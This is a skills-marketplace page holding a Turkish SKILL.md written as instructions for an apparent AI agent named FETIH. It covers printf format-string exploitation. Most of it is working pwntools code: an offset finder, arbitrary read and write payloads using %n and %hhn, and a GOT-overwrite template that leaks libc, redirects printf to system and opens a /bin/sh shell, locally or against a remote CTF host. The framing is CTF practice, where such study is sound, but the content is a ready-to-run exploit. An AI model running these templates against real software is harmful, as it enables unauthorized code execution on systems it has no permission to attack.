Skip to content
cccskills
FreePublished on GitHub

format-string

printf format string ile arbitrary read/write — GOT overwrite, libc leak, RCE

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md7.8 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Format String Exploitation

Tespit: printf(buf) vs printf("%s", buf) Farkı

// SAVUNMASIZ — kullanıcı girişi doğrudan format string olarak geçiyor
printf(buf);
fprintf(stderr, buf);
sprintf(dst, buf);

// GÜVENLİ — kullanıcı girişi sadece argüman
printf("%s", buf);

Kaynak yoksa binary'yi tersine çevir:

# objdump ile printf çağrılarına bak
objdump -d vuln | grep -A5 "call.*printf"

# gdb'de çalıştır ve %p gönder — stack adresleri geliyorsa zafiyet var
python3 -c "print('%p.'*20)" | ./vuln

Stack Leak: %p.%p.%p... ile Offset Bul

Format string argümanları sıralı stack konumlarına karşılık gelir. %1$p → 1. argüman (rsi), %2$p → 2. argüman (rdx), ... %7$p → stack'ten okuma başlar.

#!/usr/bin/env python3
# fmtstr_offset_finder.py — kaçıncı offset kendi buffer'ımızı gösteriyor?

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)

MARKER = 0x4141414142424242   # "AAAABBBB" — kolayca tanınır

for i in range(1, 50):
    io = process(BINARY)
    payload = f"AAAABBBB.%{i}$p".encode()
    io.sendlineafter(b">>> ", payload)
    resp = io.recvline()
    io.close()

    if b"0x4141414142424242" in resp or b"4242424241414141" in resp:
        log.success(f"Buffer offset: {i}")
        break
    else:
        log.info(f"[{i}] {resp.strip()}")

Çıktı: Buffer offset: 6 → artık %6$p kendi buffer'ını okur.


Arbitrary Read: %N$s ile Adres Oku

Stack'te bir adres varsa o adresin gösterdiği belleği okuyabilirsin:

# Stack'teki N. değeri string olarak oku (null'a kadar)
payload = b"%7$s"

# Belirli bir adresi okumak:
# 1) Adresi buffer'a yaz
# 2) %N$s ile o konumu oku (N = buffer'ın stack offseti)

target_addr = elf.got["puts"]       # örnek: puts GOT girişini oku

# fmtstr ile:
payload = p64(target_addr) + b".%7$s"   # 7 = buffer offset (yukarıda bulduk)

io.sendlineafter(b">>> ", payload)
leaked = io.recvuntil(b"\n").split(b".")[1]
puts_addr = u64(leaked.ljust(8, b"\x00"))
log.success(f"puts@libc = {hex(puts_addr)}")

Arbitrary Write: %N$n ile Adrese Yaz

%n → o ana kadar yazılan karakter sayısını belirtilen adrese yazar. %hn → 2 byte, %hhn → 1 byte yazar.

Manuel %n Yazma

# target_addr'e value değerini yaz (1 byte)
# Yöntem: %<value>c%<offset>$hhn

target_addr = elf.got["exit"]   # exit GOT'u overwrite et
value       = 0x41             # yazmak istediğimiz değer (1 byte)
buf_offset  = 6               # buffer'ın stack offseti

# Adres buffer'ın başına:
payload  = p64(target_addr)
# %65c → 65 karakter çıkar (0x41 = 65), %6$hhn → 6. stack argümanına yaz
payload += f"%{value - 8}c%{buf_offset}$hhn".encode()
# Not: p64 zaten 8 byte yazdığı için value'dan 8 çıkar

io.sendlineafter(b">>> ", payload)

4-byte Değer Yazmak (short write tekniği)

Büyük değerleri (adres gibi) tek seferde yazmak yavaş olur (milyonlarca karakter). Bunun yerine 2-byte parçalar halinde yaz:

target_addr = elf.got["puts"]
new_value   = 0xdeadbeef       # 4 byte değer

low2  = new_value & 0xffff        # 0xbeef
high2 = (new_value >> 16) & 0xffff  # 0xdead

# İki ayrı write
writes = {
    target_addr    : low2,
    target_addr + 2: high2,
}

pwntools fmtstr_payload Kullanımı

pwntools'un fmtstr_payload fonksiyonu tüm bu işi otomatik yapar:

#!/usr/bin/env python3
# fmtstr_exploit.py — pwntools otomatik payload

from pwn import *

BINARY = "./vuln"
context.binary = elf = ELF(BINARY)
context.log_level = "info"

io = process(BINARY)

# Hedef: exit() çağrıldığında win() çalışsın
exit_got = elf.got["exit"]
win_addr  = elf.symbols["win"]

OFFSET = 6   # buffer'ın stack offseti (yukarıda bulduk)

# fmtstr_payload(offset, {adres: değer}, yazma birimi)
# numbwritten: payload öncesinde kaç byte yazıldı (genellikle 0)
payload = fmtstr_payload(OFFSET, {exit_got: win_addr}, numbwritten=0)

log.info(f"Payload uzunluğu: {len(payload)}")
io.sendlineafter(b">>> ", payload)

io.interactive()

fmtstr_payload Parametreleri

fmtstr_payload(
    offset,           # buffer'ın stack offset numarası
    writes,           # {adres: değer} sözlüğü
    numbwritten=0,    # önceden yazdırılan karakter sayısı
    write_size="byte" # "byte" | "short" | "int" — yazma granülaritesi
)

GOT Overwrite Şablonu

#!/usr/bin/env python3
# got_overwrite.py — format string ile GOT zehirleme

from pwn import *

BINARY = "./vuln"
LIBC   = "./libc.so.6"

context.binary = elf  = ELF(BINARY)
libc = ELF(LIBC)
context.log_level = "info"

def start():
    if args.REMOTE:
        return remote("chall.ctf.site", 1337)
    return process(BINARY)

io = start()

OFFSET = 6   # kendi binary'ne göre ayarla

# ── Aşama 1: Libc Leak (printf göndererek okuma) ─────────────────────────────
# printf@got adresini stack'e hazırla ve %7$s ile oku
printf_got = elf.got["printf"]

# Adres buffer'da duruyor, %7$s o belleği okuyor
leak_payload = p64(printf_got) + f"%{OFFSET}$s".encode()

io.sendlineafter(b">>> ", leak_payload)
resp = io.recvuntil(b"\n")

# İlk 8 byte adres, sonrasında "."
leaked = resp[8:16].ljust(8, b"\x00")
printf_libc = u64(leaked)
log.success(f"printf@libc = {hex(printf_libc)}")

libc.address = printf_libc - libc.symbols["printf"]
log.success(f"libc base   = {hex(libc.address)}")

system_addr = libc.symbols["system"]
log.info(f"system      = {hex(system_addr)}")

# ── Aşama 2: GOT Overwrite — printf → system ─────────────────────────────────
# Artık printf("/bin/sh") → system("/bin/sh") gibi çalışır!
writes = {elf.got["printf"]: system_addr}
overwrite_payload = fmtstr_payload(OFFSET, writes)

io.sendlineafter(b">>> ", overwrite_payload)

# ── Aşama 3: Trigger ──────────────────────────────────────────────────────────
# printf("/bin/sh") çağrılacak — artık system("/bin/sh")
io.sendlineafter(b">>> ", b"/bin/sh\x00")

io.interactive()

Yaygın Tuzaklar

1. Null Byte Sorunu (64-bit)

64-bit adreslerde \x00 byte'ları format string'i keser. Çözüm: adresi payload'ın sonuna koy.

# Hatalı — adres başta, null byte formatı keser
payload = p64(addr) + b"%6$s"

# Doğru yöntem — pwntools bunu otomatik halleder
# Manuel yaparsan adresi en sona taşı ve formatı önce ver:
payload = b"%6$s" + p64(addr)
# Ama offset hesaplaması değişir — dikkatli ol

2. Partial RELRO vs Full RELRO

checksec vuln
# Partial RELRO → GOT yazılabilir, overwrite mümkün
# Full RELRO    → GOT salt okunur, sadece okuma saldırısı yapılabilir

3. Buffer Boyutu Kısıtlaması

fmtstr_payload bazen uzun payload üretir. Kısa tutmak için:

payload = fmtstr_payload(OFFSET, writes, write_size="short")  # daha kısa

4. printf Çıktı Tamponu

printf çıktısı bazen tamponlanır — fflush çağrısına kadar gelmeyebilir.

io.recvuntil(b">>> ", timeout=3)   # timeout ile bekle
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: b8048e49b62456aa -->

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

See all skills by MustafaKemal0146

Report a problem with this skill